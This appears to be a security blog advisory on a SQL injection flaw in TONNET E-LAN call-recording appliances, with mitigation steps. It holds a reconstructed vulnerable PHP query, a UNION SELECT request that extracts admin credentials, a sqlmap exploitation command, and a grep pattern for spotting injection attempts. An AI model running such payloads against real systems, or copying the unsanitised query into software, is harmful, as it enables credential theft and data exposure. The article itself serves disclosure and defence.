CVE-2026-9003: TONNET E-LAN Recording System Has a Wide-Open SQL Injection — And You Can't Even Patch It

Another Day, Another Unauthenticated SQLi in an Appliance You Forgot Existed

If you're running a TONNET E-LAN Hybrid Recording System — the kind of telephony recording appliance common in call centers, government offices, and SMBs across Asia-Pacific — you need to stop what you're doing and read this. CVE-2026-9003 just dropped, and it's exactly the kind of vulnerability that makes me lose sleep: unauthenticated SQL injection on a network-accessible device that probably hasn't seen a firmware update in years.

The CVSS score is 7.5 (HIGH), which honestly feels conservative. No authentication required. Remote exploitation. Full database read access. If this thing is exposed to the internet — and I guarantee some of them are — it's already being scanned for.

What Happened

CVE-2026-9003 affects the E-LAN Hybrid Recording System developed by TONNET, a Taiwanese manufacturer of telephony and VoIP equipment. The vulnerability is a classic SQL injection flaw in one of the system's web-facing endpoints. No authentication is required to exploit it.

The attack vector is network-based (AV:N), requires no privileges (PR:N), no user interaction (UI:N), and has low attack complexity (AC:L). The confidentiality impact is rated HIGH, while integrity and availability are rated NONE — meaning this is a pure data exfiltration bug. An attacker can read everything in the database but can't (directly) modify or destroy it.

The affected versions haven't been precisely enumerated in the NVD listing, which is a red flag in itself. TONNET isn't exactly known for rapid security response or transparent disclosure. If you have any version of this system deployed, assume it's vulnerable until proven otherwise.

This was reported through TWCERT/CC (Taiwan's CERT), which tells us the discovery likely came from a local researcher or government audit. The fact that it's being published now means either a patch exists (unlikely given TONNET's track record) or the disclosure timeline expired.

Technical Deep-Dive: How the Injection Works

The E-LAN Hybrid Recording System exposes a web management interface — typically on port 80 or 443 — for administrators to search call recordings, manage users, and configure the system. The SQL injection exists in one of the search or query parameters passed to the backend database without proper sanitization.

Here's what a vulnerable pattern looks like in these kinds of appliances. The backend is almost certainly PHP or ASP talking to MySQL or MSSQL:

// Vulnerable pattern (reconstructed)
$calldate = $_GET['date'];
$extension = $_GET['ext'];

$query = "SELECT * FROM call_records WHERE call_date = '" . $calldate . "' AND extension = '" . $extension . "'";
$result = mysql_query($query);

No prepared statements. No input validation. No parameterization. The user-supplied value goes straight into the SQL string. This is 2003-era code running on a 2026-era network.

An unauthenticated attacker can exploit this with a simple HTTP request:

GET /search.php?date=2026-01-01'%20UNION%20SELECT%201,username,password,4,5,6%20FROM%20users-- HTTP/1.1
Host: target-elan-system.local

The UNION SELECT payload piggybacks on the legitimate query to pull data from other tables — in this case, the users table containing admin credentials. Since there's no authentication gate in front of this endpoint, anyone who can reach the web interface can run this.

For automated exploitation, sqlmap makes this trivial:

sqlmap -u "http://target:80/search.php?date=2026-01-01&ext=100" \
  --dbs \
  --batch \
  --risk=3 \
  --level=5 \
  --random-agent

This will enumerate all databases, tables, and columns. Given that this is a call recording system, the database likely contains call metadata (who called whom, when, duration), potentially recorded audio file paths, user credentials, and system configuration. In regulated industries, that's a compliance nightmare.

The root cause is depressingly simple: string concatenation in SQL queries with zero input sanitization on an unauthenticated endpoint. This isn't a subtle logic bug or a race condition. It's the most basic web vulnerability class that's existed for over two decades.

Impact: Who Should Be Worried

TONNET equipment is primarily deployed in Taiwan, Southeast Asia, and parts of the Middle East. Their E-LAN recording systems are popular in:

• Government agencies (recording citizen service calls)
• Financial institutions (compliance recording)
• Call centers and customer service operations
• Healthcare facilities

The data at risk isn't just metadata. Call recording systems store who communicated with whom and when — that's relationship mapping gold for espionage, social engineering, or blackmail. If the system stores paths to audio recordings and those files are accessible via the same web server, an attacker could exfiltrate actual call audio.

Because these are appliance-style devices, many organizations deploy them and forget about them. They sit on the network for years without updates, often with default credentials on the admin panel (which is now moot since you don't even need to log in). Shodan queries for TONNET devices will likely reveal internet-exposed instances within days of this CVE going public.

What To Do About It Right Now

Since TONNET hasn't published a clear patch or updated firmware version, you're in mitigation mode. Here's your action plan:

1. Isolate the device immediately. The E-LAN system should not be accessible from the internet or from untrusted network segments. Put it behind a firewall rule that restricts access to specific admin IPs only:

# iptables example — restrict web interface to admin subnet only
iptables -A INPUT -p tcp --dport 80 -s 10.0.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s 10.0.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP

2. Check for existing compromise. Review your web server access logs on the device (if accessible) for signs of SQLi attempts — look for UNION, SELECT, --, ', and URL-encoded variants:

# Search for common SQLi patterns in access logs
grep -iE "(union|select|insert|update|delete|drop|--|%27|%22)" /var/log/httpd/access_log

3. Put a WAF or reverse proxy in front of it. If you absolutely must keep the web interface accessible, deploy a reverse proxy with ModSecurity or a cloud WAF that can catch basic SQLi patterns. This is a band-aid, not a fix.

4. Contact TONNET directly and demand a firmware update timeline. Document the request. If you're in a regulated industry, you may need to report this to your compliance team as a known vulnerability in a system handling sensitive communications data.

Warning: If this device has been internet-exposed for any period of time, assume the database has already been dumped. Rotate all credentials stored on the system and audit call metadata for sensitive communications that may have been exposed.

The Bigger Picture

This is the embedded appliance security problem in a nutshell. Companies buy a box, plug it in, and it works for a decade. Nobody patches it. Nobody audits it. The vendor has no bug bounty, no security team, and no incentive to fix vulnerabilities in products they sold five years ago.

If you're responsible for infrastructure that includes these kinds of "set and forget" appliances — recording systems, IP phones, access control panels, building management systems — build an inventory and start asking hard questions about network segmentation. The next CVE might not just read your database. It might give someone a shell on your internal network. Treat every unpatched appliance as a pre-compromised host and segment accordingly.